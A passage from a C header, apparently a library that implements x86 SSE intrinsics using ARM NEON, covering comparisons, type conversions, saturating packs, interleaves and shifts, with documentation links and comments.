vcombine_s32(vmovn_s64(a), vmovn_s64(b)); int32x4_t ab13 = vcombine_s32(vshrn_n_s64(a, 32), vshrn_n_s64(b, 32)); // Subtract return vreinterpretq_m128i_s32(vsubq_s32(ab02, ab13)); } // ****************************************** // Compare operations // ****************************************** // Compares for less than // https://msdn.microsoft.com/en-us/library/vstudio/f330yhc8(v=vs.100).aspx FORCE_INLINE __m128 _mm_cmplt_ps(__m128 a, __m128 b) { return vreinterpretq_m128_u32( vcltq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); } // Compares for greater than. // // r0 := (a0 > b0) ? 0xffffffff : 0x0 // r1 := (a1 > b1) ? 0xffffffff : 0x0 // r2 := (a2 > b2) ? 0xffffffff : 0x0 // r3 := (a3 > b3) ? 0xffffffff : 0x0 // // https://msdn.microsoft.com/en-us/library/vstudio/11dy102s(v=vs.100).aspx FORCE_INLINE __m128 _mm_cmpgt_ps(__m128 a, __m128 b) { return vreinterpretq_m128_u32( vcgtq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); } // Compares for greater than or equal. // https://msdn.microsoft.com/en-us/library/vstudio/fs813y2t(v=vs.100).aspx FORCE_INLINE __m128 _mm_cmpge_ps(__m128 a, __m128 b) { return vreinterpretq_m128_u32( vcgeq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); } // Compares for less than or equal. // // r0 := (a0 <= b0) ? 0xffffffff : 0x0 // r1 := (a1 <= b1) ? 0xffffffff : 0x0 // r2 := (a2 <= b2) ? 0xffffffff : 0x0 // r3 := (a3 <= b3) ? 0xffffffff : 0x0 // // https://msdn.microsoft.com/en-us/library/vstudio/1s75w83z(v=vs.100).aspx FORCE_INLINE __m128 _mm_cmple_ps(__m128 a, __m128 b) { return vreinterpretq_m128_u32( vcleq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); } // Compares for equality. // https://msdn.microsoft.com/en-us/library/vstudio/36aectz5(v=vs.100).aspx FORCE_INLINE __m128 _mm_cmpeq_ps(__m128 a, __m128 b) { return vreinterpretq_m128_u32( vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); } // Compares the 16 signed or unsigned 8-bit integers in a and the 16 signed or // unsigned 8-bit integers in b for equality. // https://msdn.microsoft.com/en-us/library/windows/desktop/bz5xk21a(v=vs.90).aspx FORCE_INLINE __m128i _mm_cmpeq_epi8(__m128i a, __m128i b) { return vreinterpretq_m128i_u8( vceqq_s8(vreinterpretq_s8_m128i(a), vreinterpretq_s8_m128i(b))); } // Compares the 8 signed or unsigned 16-bit integers in a and the 8 signed or // unsigned 16-bit integers in b for equality. // https://msdn.microsoft.com/en-us/library/2ay060te(v=vs.100).aspx FORCE_INLINE __m128i _mm_cmpeq_epi16(__m128i a, __m128i b) { return vreinterpretq_m128i_u16( vceqq_s16(vreinterpretq_s16_m128i(a), vreinterpretq_s16_m128i(b))); } // Compare packed 32-bit integers in a and b for equality, and store the results // in dst FORCE_INLINE __m128i _mm_cmpeq_epi32(__m128i a, __m128i b) { return vreinterpretq_m128i_u32( vceqq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(b))); } // Compare packed 64-bit integers in a and b for equality, and store the results // in dst FORCE_INLINE __m128i _mm_cmpeq_epi64(__m128i a, __m128i b) { #if defined(__aarch64__) return vreinterpretq_m128i_u64( vceqq_u64(vreinterpretq_u64_m128i(a), vreinterpretq_u64_m128i(b))); #else // ARMv7 lacks vceqq_u64 // (a == b) -> (a_lo == b_lo) && (a_hi == b_hi) uint32x4_t cmp = vceqq_u32(vreinterpretq_u32_m128i(a), vreinterpretq_u32_m128i(b)); uint32x4_t swapped = vrev64q_u32(cmp); return vreinterpretq_m128i_u32(vandq_u32(cmp, swapped)); #endif } // Compares the 16 signed 8-bit integers in a and the 16 signed 8-bit integers // in b for lesser than. // https://msdn.microsoft.com/en-us/library/windows/desktop/9s46csht(v=vs.90).aspx FORCE_INLINE __m128i _mm_cmplt_epi8(__m128i a, __m128i b) { return vreinterpretq_m128i_u8( vcltq_s8(vreinterpretq_s8_m128i(a), vreinterpretq_s8_m128i(b))); } // Compares the 16 signed 8-bit integers in a and the 16 signed 8-bit integers // in b for greater than. // // r0 := (a0 > b0) ? 0xff : 0x0 // r1 := (a1 > b1) ? 0xff : 0x0 // ... // r15 := (a15 > b15) ? 0xff : 0x0 // // https://msdn.microsoft.com/zh-tw/library/wf45zt2b(v=vs.100).aspx FORCE_INLINE __m128i _mm_cmpgt_epi8(__m128i a, __m128i b) { return vreinterpretq_m128i_u8( vcgtq_s8(vreinterpretq_s8_m128i(a), vreinterpretq_s8_m128i(b))); } // Compares the 8 signed 16-bit integers in a and the 8 signed 16-bit integers // in b for less than. // // r0 := (a0 < b0) ? 0xffff : 0x0 // r1 := (a1 < b1) ? 0xffff : 0x0 // ... // r7 := (a7 < b7) ? 0xffff : 0x0 // // https://technet.microsoft.com/en-us/library/t863edb2(v=vs.100).aspx FORCE_INLINE __m128i _mm_cmplt_epi16(__m128i a, __m128i b) { return vreinterpretq_m128i_u16( vcltq_s16(vreinterpretq_s16_m128i(a), vreinterpretq_s16_m128i(b))); } // Compares the 8 signed 16-bit integers in a and the 8 signed 16-bit integers // in b for greater than. // // r0 := (a0 > b0) ? 0xffff : 0x0 // r1 := (a1 > b1) ? 0xffff : 0x0 // ... // r7 := (a7 > b7) ? 0xffff : 0x0 // // https://technet.microsoft.com/en-us/library/xd43yfsa(v=vs.100).aspx FORCE_INLINE __m128i _mm_cmpgt_epi16(__m128i a, __m128i b) { return vreinterpretq_m128i_u16( vcgtq_s16(vreinterpretq_s16_m128i(a), vreinterpretq_s16_m128i(b))); } // Compares the 4 signed 32-bit integers in a and the 4 signed 32-bit integers // in b for less than. // https://msdn.microsoft.com/en-us/library/vstudio/4ak0bf5d(v=vs.100).aspx FORCE_INLINE __m128i _mm_cmplt_epi32(__m128i a, __m128i b) { return vreinterpretq_m128i_u32( vcltq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(b))); } // Compares the 4 signed 32-bit integers in a and the 4 signed 32-bit integers // in b for greater than. // https://msdn.microsoft.com/en-us/library/vstudio/1s9f2z0y(v=vs.100).aspx FORCE_INLINE __m128i _mm_cmpgt_epi32(__m128i a, __m128i b) { return vreinterpretq_m128i_u32( vcgtq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(b))); } // Compares the 2 signed 64-bit integers in a and the 2 signed 64-bit integers // in b for greater than. FORCE_INLINE __m128i _mm_cmpgt_epi64(__m128i a, __m128i b) { #if defined(__aarch64__) return vreinterpretq_m128i_u64( vcgtq_s64(vreinterpretq_s64_m128i(a), vreinterpretq_s64_m128i(b))); #else // ARMv7 lacks vcgtq_s64. // This is based off of Clang's SSE2 polyfill: // (a > b) -> ((a_hi > b_hi) || (a_lo > b_lo && a_hi == b_hi)) // Mask the sign bit out since we need a signed AND an unsigned comparison // and it is ugly to try and split them. int32x4_t mask = vreinterpretq_s32_s64(vdupq_n_s64(0x80000000ull)); int32x4_t a_mask = veorq_s32(vreinterpretq_s32_m128i(a), mask); int32x4_t b_mask = veorq_s32(vreinterpretq_s32_m128i(b), mask); // Check if a > b int64x2_t greater = vreinterpretq_s64_u32(vcgtq_s32(a_mask, b_mask)); // Copy upper mask to lower mask // a_hi > b_hi int64x2_t gt_hi = vshrq_n_s64(greater, 63); // Copy lower mask to upper mask // a_lo > b_lo int64x2_t gt_lo = vsliq_n_s64(greater, greater, 32); // Compare for equality int64x2_t equal = vreinterpretq_s64_u32(vceqq_s32(a_mask, b_mask)); // Copy upper mask to lower mask // a_hi == b_hi int64x2_t eq_hi = vshrq_n_s64(equal, 63); // a_hi > b_hi || (a_lo > b_lo && a_hi == b_hi) int64x2_t ret = vorrq_s64(gt_hi, vandq_s64(gt_lo, eq_hi)); return vreinterpretq_m128i_s64(ret); #endif } // Compares the four 32-bit floats in a and b to check if any values are NaN. // Ordered compare between each value returns true for "orderable" and false for // "not orderable" (NaN). // https://msdn.microsoft.com/en-us/library/vstudio/0h9w00fx(v=vs.100).aspx see // also: // http://stackoverflow.com/questions/8627331/what-does-ordered-unordered-comparison-mean // http://stackoverflow.com/questions/29349621/neon-isnanval-intrinsics FORCE_INLINE __m128 _mm_cmpord_ps(__m128 a, __m128 b) { // Note: NEON does not have ordered compare builtin // Need to compare a eq a and b eq b to check for NaN // Do AND of results to get final uint32x4_t ceqaa = vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(a)); uint32x4_t ceqbb = vceqq_f32(vreinterpretq_f32_m128(b), vreinterpretq_f32_m128(b)); return vreinterpretq_m128_u32(vandq_u32(ceqaa, ceqbb)); } // Compares the lower single-precision floating point scalar values of a and b // using a less than operation. : // https://msdn.microsoft.com/en-us/library/2kwe606b(v=vs.90).aspx Important // note!! The documentation on MSDN is incorrect! If either of the values is a // NAN the docs say you will get a one, but in fact, it will return a zero!! FORCE_INLINE int _mm_comilt_ss(__m128 a, __m128 b) { uint32x4_t a_not_nan = vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(a)); uint32x4_t b_not_nan = vceqq_f32(vreinterpretq_f32_m128(b), vreinterpretq_f32_m128(b)); uint32x4_t a_and_b_not_nan = vandq_u32(a_not_nan, b_not_nan); uint32x4_t a_lt_b = vcltq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b)); return (vgetq_lane_u32(vandq_u32(a_and_b_not_nan, a_lt_b), 0) != 0) ? 1 : 0; } // Compares the lower single-precision floating point scalar values of a and b // using a greater than operation. : // https://msdn.microsoft.com/en-us/library/b0738e0t(v=vs.100).aspx FORCE_INLINE int _mm_comigt_ss(__m128 a, __m128 b) { // return vgetq_lane_u32(vcgtq_f32(vreinterpretq_f32_m128(a), // vreinterpretq_f32_m128(b)), 0); uint32x4_t a_not_nan = vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(a)); uint32x4_t b_not_nan = vceqq_f32(vreinterpretq_f32_m128(b), vreinterpretq_f32_m128(b)); uint32x4_t a_and_b_not_nan = vandq_u32(a_not_nan, b_not_nan); uint32x4_t a_gt_b = vcgtq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b)); return (vgetq_lane_u32(vandq_u32(a_and_b_not_nan, a_gt_b), 0) != 0) ? 1 : 0; } // Compares the lower single-precision floating point scalar values of a and b // using a less than or equal operation. : // https://msdn.microsoft.com/en-us/library/1w4t7c57(v=vs.90).aspx FORCE_INLINE int _mm_comile_ss(__m128 a, __m128 b) { // return vgetq_lane_u32(vcleq_f32(vreinterpretq_f32_m128(a), // vreinterpretq_f32_m128(b)), 0); uint32x4_t a_not_nan = vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(a)); uint32x4_t b_not_nan = vceqq_f32(vreinterpretq_f32_m128(b), vreinterpretq_f32_m128(b)); uint32x4_t a_and_b_not_nan = vandq_u32(a_not_nan, b_not_nan); uint32x4_t a_le_b = vcleq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b)); return (vgetq_lane_u32(vandq_u32(a_and_b_not_nan, a_le_b), 0) != 0) ? 1 : 0; } // Compares the lower single-precision floating point scalar values of a and b // using a greater than or equal operation. : // https://msdn.microsoft.com/en-us/library/8t80des6(v=vs.100).aspx FORCE_INLINE int _mm_comige_ss(__m128 a, __m128 b) { // return vgetq_lane_u32(vcgeq_f32(vreinterpretq_f32_m128(a), // vreinterpretq_f32_m128(b)), 0); uint32x4_t a_not_nan = vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(a)); uint32x4_t b_not_nan = vceqq_f32(vreinterpretq_f32_m128(b), vreinterpretq_f32_m128(b)); uint32x4_t a_and_b_not_nan = vandq_u32(a_not_nan, b_not_nan); uint32x4_t a_ge_b = vcgeq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b)); return (vgetq_lane_u32(vandq_u32(a_and_b_not_nan, a_ge_b), 0) != 0) ? 1 : 0; } // Compares the lower single-precision floating point scalar values of a and b // using an equality operation. : // https://msdn.microsoft.com/en-us/library/93yx2h2b(v=vs.100).aspx FORCE_INLINE int _mm_comieq_ss(__m128 a, __m128 b) { // return vgetq_lane_u32(vceqq_f32(vreinterpretq_f32_m128(a), // vreinterpretq_f32_m128(b)), 0); uint32x4_t a_not_nan = vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(a)); uint32x4_t b_not_nan = vceqq_f32(vreinterpretq_f32_m128(b), vreinterpretq_f32_m128(b)); uint32x4_t a_and_b_not_nan = vandq_u32(a_not_nan, b_not_nan); uint32x4_t a_eq_b = vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b)); return (vgetq_lane_u32(vandq_u32(a_and_b_not_nan, a_eq_b), 0) != 0) ? 1 : 0; } // Compares the lower single-precision floating point scalar values of a and b // using an inequality operation. : // https://msdn.microsoft.com/en-us/library/bafh5e0a(v=vs.90).aspx FORCE_INLINE int _mm_comineq_ss(__m128 a, __m128 b) { // return !vgetq_lane_u32(vceqq_f32(vreinterpretq_f32_m128(a), // vreinterpretq_f32_m128(b)), 0); uint32x4_t a_not_nan = vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(a)); uint32x4_t b_not_nan = vceqq_f32(vreinterpretq_f32_m128(b), vreinterpretq_f32_m128(b)); uint32x4_t a_or_b_nan = vmvnq_u32(vandq_u32(a_not_nan, b_not_nan)); uint32x4_t a_neq_b = vmvnq_u32( vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); return (vgetq_lane_u32(vorrq_u32(a_or_b_nan, a_neq_b), 0) != 0) ? 1 : 0; } // according to the documentation, these intrinsics behave the same as the // non-'u' versions. We'll just alias them here. #define _mm_ucomilt_ss _mm_comilt_ss #define _mm_ucomile_ss _mm_comile_ss #define _mm_ucomigt_ss _mm_comigt_ss #define _mm_ucomige_ss _mm_comige_ss #define _mm_ucomieq_ss _mm_comieq_ss #define _mm_ucomineq_ss _mm_comineq_ss // ****************************************** // Conversions // ****************************************** // Converts the four single-precision, floating-point values of a to signed // 32-bit integer values using truncate. // https://msdn.microsoft.com/en-us/library/vstudio/1h005y6x(v=vs.100).aspx FORCE_INLINE __m128i _mm_cvttps_epi32(__m128 a) { return vreinterpretq_m128i_s32(vcvtq_s32_f32(vreinterpretq_f32_m128(a))); } // Converts the four signed 32-bit integer values of a to single-precision, // floating-point values // https://msdn.microsoft.com/en-us/library/vstudio/36bwxcx5(v=vs.100).aspx FORCE_INLINE __m128 _mm_cvtepi32_ps(__m128i a) { return vreinterpretq_m128_f32(vcvtq_f32_s32(vreinterpretq_s32_m128i(a))); } // Converts the four unsigned 8-bit integers in the lower 16 bits to four // unsigned 32-bit integers. FORCE_INLINE __m128i _mm_cvtepu8_epi16(__m128i a) { uint8x16_t u8x16 = vreinterpretq_u8_m128i(a); /* xxxx xxxx xxxx DCBA */ uint16x8_t u16x8 = vmovl_u8(vget_low_u8(u8x16)); /* 0x0x 0x0x 0D0C 0B0A */ return vreinterpretq_m128i_u16(u16x8); } // Converts the four unsigned 8-bit integers in the lower 32 bits to four // unsigned 32-bit integers. // https://msdn.microsoft.com/en-us/library/bb531467%28v=vs.100%29.aspx FORCE_INLINE __m128i _mm_cvtepu8_epi32(__m128i a) { uint8x16_t u8x16 = vreinterpretq_u8_m128i(a); /* xxxx xxxx xxxx DCBA */ uint16x8_t u16x8 = vmovl_u8(vget_low_u8(u8x16)); /* 0x0x 0x0x 0D0C 0B0A */ uint32x4_t u32x4 = vmovl_u16(vget_low_u16(u16x8)); /* 000D 000C 000B 000A */ return vreinterpretq_m128i_u32(u32x4); } // Converts the two unsigned 8-bit integers in the lower 16 bits to two // unsigned 64-bit integers. FORCE_INLINE __m128i _mm_cvtepu8_epi64(__m128i a) { uint8x16_t u8x16 = vreinterpretq_u8_m128i(a); /* xxxx xxxx xxxx xxBA */ uint16x8_t u16x8 = vmovl_u8(vget_low_u8(u8x16)); /* 0x0x 0x0x 0x0x 0B0A */ uint32x4_t u32x4 = vmovl_u16(vget_low_u16(u16x8)); /* 000x 000x 000B 000A */ uint64x2_t u64x2 = vmovl_u32(vget_low_u32(u32x4)); /* 0000 000B 0000 000A */ return vreinterpretq_m128i_u64(u64x2); } // Converts the four unsigned 8-bit integers in the lower 16 bits to four // unsigned 32-bit integers. FORCE_INLINE __m128i _mm_cvtepi8_epi16(__m128i a) { int8x16_t s8x16 = vreinterpretq_s8_m128i(a); /* xxxx xxxx xxxx DCBA */ int16x8_t s16x8 = vmovl_s8(vget_low_s8(s8x16)); /* 0x0x 0x0x 0D0C 0B0A */ return vreinterpretq_m128i_s16(s16x8); } // Converts the four unsigned 8-bit integers in the lower 32 bits to four // unsigned 32-bit integers. FORCE_INLINE __m128i _mm_cvtepi8_epi32(__m128i a) { int8x16_t s8x16 = vreinterpretq_s8_m128i(a); /* xxxx xxxx xxxx DCBA */ int16x8_t s16x8 = vmovl_s8(vget_low_s8(s8x16)); /* 0x0x 0x0x 0D0C 0B0A */ int32x4_t s32x4 = vmovl_s16(vget_low_s16(s16x8)); /* 000D 000C 000B 000A */ return vreinterpretq_m128i_s32(s32x4); } // Converts the two signed 8-bit integers in the lower 32 bits to four // signed 64-bit integers. FORCE_INLINE __m128i _mm_cvtepi8_epi64(__m128i a) { int8x16_t s8x16 = vreinterpretq_s8_m128i(a); /* xxxx xxxx xxxx xxBA */ int16x8_t s16x8 = vmovl_s8(vget_low_s8(s8x16)); /* 0x0x 0x0x 0x0x 0B0A */ int32x4_t s32x4 = vmovl_s16(vget_low_s16(s16x8)); /* 000x 000x 000B 000A */ int64x2_t s64x2 = vmovl_s32(vget_low_s32(s32x4)); /* 0000 000B 0000 000A */ return vreinterpretq_m128i_s64(s64x2); } // Converts the four signed 16-bit integers in the lower 64 bits to four signed // 32-bit integers. FORCE_INLINE __m128i _mm_cvtepi16_epi32(__m128i a) { return vreinterpretq_m128i_s32( vmovl_s16(vget_low_s16(vreinterpretq_s16_m128i(a)))); } // Converts the two signed 16-bit integers in the lower 32 bits two signed // 32-bit integers. FORCE_INLINE __m128i _mm_cvtepi16_epi64(__m128i a) { int16x8_t s16x8 = vreinterpretq_s16_m128i(a); /* xxxx xxxx xxxx 0B0A */ int32x4_t s32x4 = vmovl_s16(vget_low_s16(s16x8)); /* 000x 000x 000B 000A */ int64x2_t s64x2 = vmovl_s32(vget_low_s32(s32x4)); /* 0000 000B 0000 000A */ return vreinterpretq_m128i_s64(s64x2); } // Converts the four unsigned 16-bit integers in the lower 64 bits to four unsigned // 32-bit integers. FORCE_INLINE __m128i _mm_cvtepu16_epi32(__m128i a) { return vreinterpretq_m128i_u32( vmovl_u16(vget_low_u16(vreinterpretq_u16_m128i(a)))); } // Converts the two unsigned 16-bit integers in the lower 32 bits to two unsigned // 64-bit integers. FORCE_INLINE __m128i _mm_cvtepu16_epi64(__m128i a) { uint16x8_t u16x8 = vreinterpretq_u16_m128i(a); /* xxxx xxxx xxxx 0B0A */ uint32x4_t u32x4 = vmovl_u16(vget_low_u16(u16x8)); /* 000x 000x 000B 000A */ uint64x2_t u64x2 = vmovl_u32(vget_low_u32(u32x4)); /* 0000 000B 0000 000A */ return vreinterpretq_m128i_u64(u64x2); } // Converts the two unsigned 32-bit integers in the lower 64 bits to two unsigned // 64-bit integers. FORCE_INLINE __m128i _mm_cvtepu32_epi64(__m128i a) { return vreinterpretq_m128i_u64( vmovl_u32(vget_low_u32(vreinterpretq_u32_m128i(a)))); } // Converts the two signed 32-bit integers in the lower 64 bits to two signed // 64-bit integers. FORCE_INLINE __m128i _mm_cvtepi32_epi64(__m128i a) { return vreinterpretq_m128i_s64( vmovl_s32(vget_low_s32(vreinterpretq_s32_m128i(a)))); } // Converts the four single-precision, floating-point values of a to signed // 32-bit integer values. // // r0 := (int) a0 // r1 := (int) a1 // r2 := (int) a2 // r3 := (int) a3 // // https://msdn.microsoft.com/en-us/library/vstudio/xdc42k5e(v=vs.100).aspx // *NOTE*. The default rounding mode on SSE is 'round to even', which ArmV7-A // does not support! It is supported on ARMv8-A however. FORCE_INLINE __m128i _mm_cvtps_epi32(__m128 a) { #if defined(__aarch64__) return vreinterpretq_m128i_s32(vcvtnq_s32_f32(a)); #else uint32x4_t signmask = vdupq_n_u32(0x80000000); float32x4_t half = vbslq_f32(signmask, vreinterpretq_f32_m128(a), vdupq_n_f32(0.5f)); /* +/- 0.5 */ int32x4_t r_normal = vcvtq_s32_f32(vaddq_f32( vreinterpretq_f32_m128(a), half)); /* round to integer: [a + 0.5]*/ int32x4_t r_trunc = vcvtq_s32_f32(vreinterpretq_f32_m128(a)); /* truncate to integer: [a] */ int32x4_t plusone = vreinterpretq_s32_u32(vshrq_n_u32( vreinterpretq_u32_s32(vnegq_s32(r_trunc)), 31)); /* 1 or 0 */ int32x4_t r_even = vbicq_s32(vaddq_s32(r_trunc, plusone), vdupq_n_s32(1)); /* ([a] + {0,1}) & ~1 */ float32x4_t delta = vsubq_f32( vreinterpretq_f32_m128(a), vcvtq_f32_s32(r_trunc)); /* compute delta: delta = (a - [a]) */ uint32x4_t is_delta_half = vceqq_f32(delta, half); /* delta == +/- 0.5 */ return vreinterpretq_m128i_s32(vbslq_s32(is_delta_half, r_even, r_normal)); #endif } // Moves the least significant 32 bits of a to a 32-bit integer. // https://msdn.microsoft.com/en-us/library/5z7a9642%28v=vs.90%29.aspx FORCE_INLINE int _mm_cvtsi128_si32(__m128i a) { return vgetq_lane_s32(vreinterpretq_s32_m128i(a), 0); } // Extracts the low order 64-bit integer from the parameter. // https://msdn.microsoft.com/en-us/library/bb531384(v=vs.120).aspx FORCE_INLINE uint64_t _mm_cvtsi128_si64(__m128i a) { return vgetq_lane_s64(vreinterpretq_s64_m128i(a), 0); } // Moves 32-bit integer a to the least significant 32 bits of an __m128 object, // zero extending the upper bits. // // r0 := a // r1 := 0x0 // r2 := 0x0 // r3 := 0x0 // // https://msdn.microsoft.com/en-us/library/ct3539ha%28v=vs.90%29.aspx FORCE_INLINE __m128i _mm_cvtsi32_si128(int a) { return vreinterpretq_m128i_s32(vsetq_lane_s32(a, vdupq_n_s32(0), 0)); } // Moves 64-bit integer a to the least significant 64 bits of an __m128 object, // zero extending the upper bits. // // r0 := a // r1 := 0x0 FORCE_INLINE __m128i _mm_cvtsi64_si128(int64_t a) { return vreinterpretq_m128i_s64(vsetq_lane_s64(a, vdupq_n_s64(0), 0)); } // Applies a type cast to reinterpret four 32-bit floating point values passed // in as a 128-bit parameter as packed 32-bit integers. // https://msdn.microsoft.com/en-us/library/bb514099.aspx FORCE_INLINE __m128i _mm_castps_si128(__m128 a) { return vreinterpretq_m128i_s32(vreinterpretq_s32_m128(a)); } // Applies a type cast to reinterpret four 32-bit integers passed in as a // 128-bit parameter as packed 32-bit floating point values. // https://msdn.microsoft.com/en-us/library/bb514029.aspx FORCE_INLINE __m128 _mm_castsi128_ps(__m128i a) { return vreinterpretq_m128_s32(vreinterpretq_s32_m128i(a)); } // Loads 128-bit value. : // https://msdn.microsoft.com/en-us/library/atzzad1h(v=vs.80).aspx FORCE_INLINE __m128i _mm_load_si128(const __m128i *p) { return vreinterpretq_m128i_s32(vld1q_s32((const int32_t *) p)); } // Loads 128-bit value. : // https://msdn.microsoft.com/zh-cn/library/f4k12ae8(v=vs.90).aspx FORCE_INLINE __m128i _mm_loadu_si128(const __m128i *p) { return vreinterpretq_m128i_s32(vld1q_s32((const int32_t *) p)); } // _mm_lddqu_si128 functions the same as _mm_loadu_si128. #define _mm_lddqu_si128 _mm_loadu_si128 // ****************************************** // Miscellaneous Operations // ****************************************** // Shifts the 8 signed 16-bit integers in a right by count bits while shifting // in the sign bit. // // r0 := a0 >> count // r1 := a1 >> count // ... // r7 := a7 >> count // // https://msdn.microsoft.com/en-us/library/3c9997dk(v%3dvs.90).aspx FORCE_INLINE __m128i _mm_sra_epi16(__m128i a, __m128i count) { int64_t c = (int64_t) vget_low_s64((int64x2_t) count); if (c > 15) return _mm_cmplt_epi16(a, _mm_setzero_si128()); return vreinterpretq_m128i_s16(vshlq_s16((int16x8_t) a, vdupq_n_s16(-c))); } // Shifts the 4 signed 32-bit integers in a right by count bits while shifting // in the sign bit. // // r0 := a0 >> count // r1 := a1 >> count // r2 := a2 >> count // r3 := a3 >> count // // https://msdn.microsoft.com/en-us/library/ce40009e(v%3dvs.100).aspx FORCE_INLINE __m128i _mm_sra_epi32(__m128i a, __m128i count) { int64_t c = (int64_t) vget_low_s64((int64x2_t) count); if (c > 31) return _mm_cmplt_epi32(a, _mm_setzero_si128()); return vreinterpretq_m128i_s32(vshlq_s32((int32x4_t) a, vdupq_n_s32(-c))); } // Packs the 16 signed 16-bit integers from a and b into 8-bit integers and // saturates. // https://msdn.microsoft.com/en-us/library/k4y4f7w5%28v=vs.90%29.aspx FORCE_INLINE __m128i _mm_packs_epi16(__m128i a, __m128i b) { return vreinterpretq_m128i_s8( vcombine_s8(vqmovn_s16(vreinterpretq_s16_m128i(a)), vqmovn_s16(vreinterpretq_s16_m128i(b)))); } // Packs the 16 signed 16 - bit integers from a and b into 8 - bit unsigned // integers and saturates. // // r0 := UnsignedSaturate(a0) // r1 := UnsignedSaturate(a1) // ... // r7 := UnsignedSaturate(a7) // r8 := UnsignedSaturate(b0) // r9 := UnsignedSaturate(b1) // ... // r15 := UnsignedSaturate(b7) // // https://msdn.microsoft.com/en-us/library/07ad1wx4(v=vs.100).aspx FORCE_INLINE __m128i _mm_packus_epi16(const __m128i a, const __m128i b) { return vreinterpretq_m128i_u8( vcombine_u8(vqmovun_s16(vreinterpretq_s16_m128i(a)), vqmovun_s16(vreinterpretq_s16_m128i(b)))); } // Packs the 8 signed 32-bit integers from a and b into signed 16-bit integers // and saturates. // // r0 := SignedSaturate(a0) // r1 := SignedSaturate(a1) // r2 := SignedSaturate(a2) // r3 := SignedSaturate(a3) // r4 := SignedSaturate(b0) // r5 := SignedSaturate(b1) // r6 := SignedSaturate(b2) // r7 := SignedSaturate(b3) // // https://msdn.microsoft.com/en-us/library/393t56f9%28v=vs.90%29.aspx FORCE_INLINE __m128i _mm_packs_epi32(__m128i a, __m128i b) { return vreinterpretq_m128i_s16( vcombine_s16(vqmovn_s32(vreinterpretq_s32_m128i(a)), vqmovn_s32(vreinterpretq_s32_m128i(b)))); } // Packs the 8 unsigned 32-bit integers from a and b into unsigned 16-bit integers // and saturates. // // r0 := UnsignedSaturate(a0) // r1 := UnsignedSaturate(a1) // r2 := UnsignedSaturate(a2) // r3 := UnsignedSaturate(a3) // r4 := UnsignedSaturate(b0) // r5 := UnsignedSaturate(b1) // r6 := UnsignedSaturate(b2) // r7 := UnsignedSaturate(b3) FORCE_INLINE __m128i _mm_packus_epi32(__m128i a, __m128i b) { return vreinterpretq_m128i_u16( vcombine_u16(vqmovn_u32(vreinterpretq_u32_m128i(a)), vqmovn_u32(vreinterpretq_u32_m128i(b)))); } // Interleaves the lower 8 signed or unsigned 8-bit integers in a with the lower // 8 signed or unsigned 8-bit integers in b. // // r0 := a0 // r1 := b0 // r2 := a1 // r3 := b1 // ... // r14 := a7 // r15 := b7 // // https://msdn.microsoft.com/en-us/library/xf7k860c%28v=vs.90%29.aspx FORCE_INLINE __m128i _mm_unpacklo_epi8(__m128i a, __m128i b) { #if defined(__aarch64__) return vreinterpretq_m128i_s8(vzip1q_s8(vreinterpretq_s8_m128i(a), vreinterpretq_s8_m128i(b))); #else int8x8_t a1 = vreinterpret_s8_s16(vget_low_s16(vreinterpretq_s16_m128i(a))); int8x8_t b1 = vreinterpret_s8_s16(vget_low_s16(vreinterpretq_s16_m128i(b))); int8x8x2_t result = vzip_s8(a1, b1); return vreinterpretq_m128i_s8(vcombine_s8(result.val[0], result.val[1])); #endif } // Interleaves the lower 4 signed or unsigned 16-bit integers in a with the // lower 4 signed or unsigned 16-bit integers in b. // // r0 := a0 // r1 := b0 // r2 := a1 // r3 := b1 // r4 := a2 // r5 := b2 // r6 := a3 // r7 := b3 // // https://msdn.microsoft.com/en-us/library/btxb17bw%28v=vs.90%29.aspx FORCE_INLINE __m128i _mm_unpacklo_epi16(__m128i a, __m128i b) { #if defined(__aarch64__) return vreinterpretq_m128i_s16(vzip1q_s16(vreinterpretq_s16_m128i(a), vreinterpretq_s16_m128i(b))); #else int16x4_t a1 = vget_low_s16(vreinterpretq_s16_m128i(a)); int16x4_t b1 = vget_low_s16(vreinterpretq_s16_m128i(b)); int16x4x2_t result = vzip_s16(a1, b1); return vreinterpretq_m128i_s16(vcombine_s16(result.val[0], result.val[1])); #endif } // Interleaves the lower 2 signed or unsigned 32 - bit integers in a with the // lower 2 signed or unsigned 32 - bit integers in b. // // r0 := a0 // r1 := b0 // r2 := a1 // r3 := b1 // // https://msdn.microsoft.com/en-us/library/x8atst9d(v=vs.100).aspx FORCE_INLINE __m128i _mm_unpacklo_epi32(__m128i a, __m128i b) { #if defined(__aarch64__) return vreinterpretq_m128i_s32(vzip1q_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(b))); #else int32x2_t a1 = vget_low_s32(vreinterpretq_s32_m128i(a)); int32x2_t b1 = vget_low_s32(vreinterpretq_s32_m128i(b)); int32x2x2_t result = vzip_s32(a1, b1); return vreinterpretq_m128i_s32(vcombine_s32(result.val[0], result.val[1])); #endif } FORCE_INLINE __m128i _mm_unpacklo_epi64(__m128i a, __m128i b) { int64x1_t a_l = vget_low_s64(vreinterpretq_s64_m128i(a)); int64x1_t b_l = vget_low_s64(vreinterpretq_s64_m128i(b)); return vreinterpretq_m128i_s64(vcombine_s64(a_l, b_l)); } 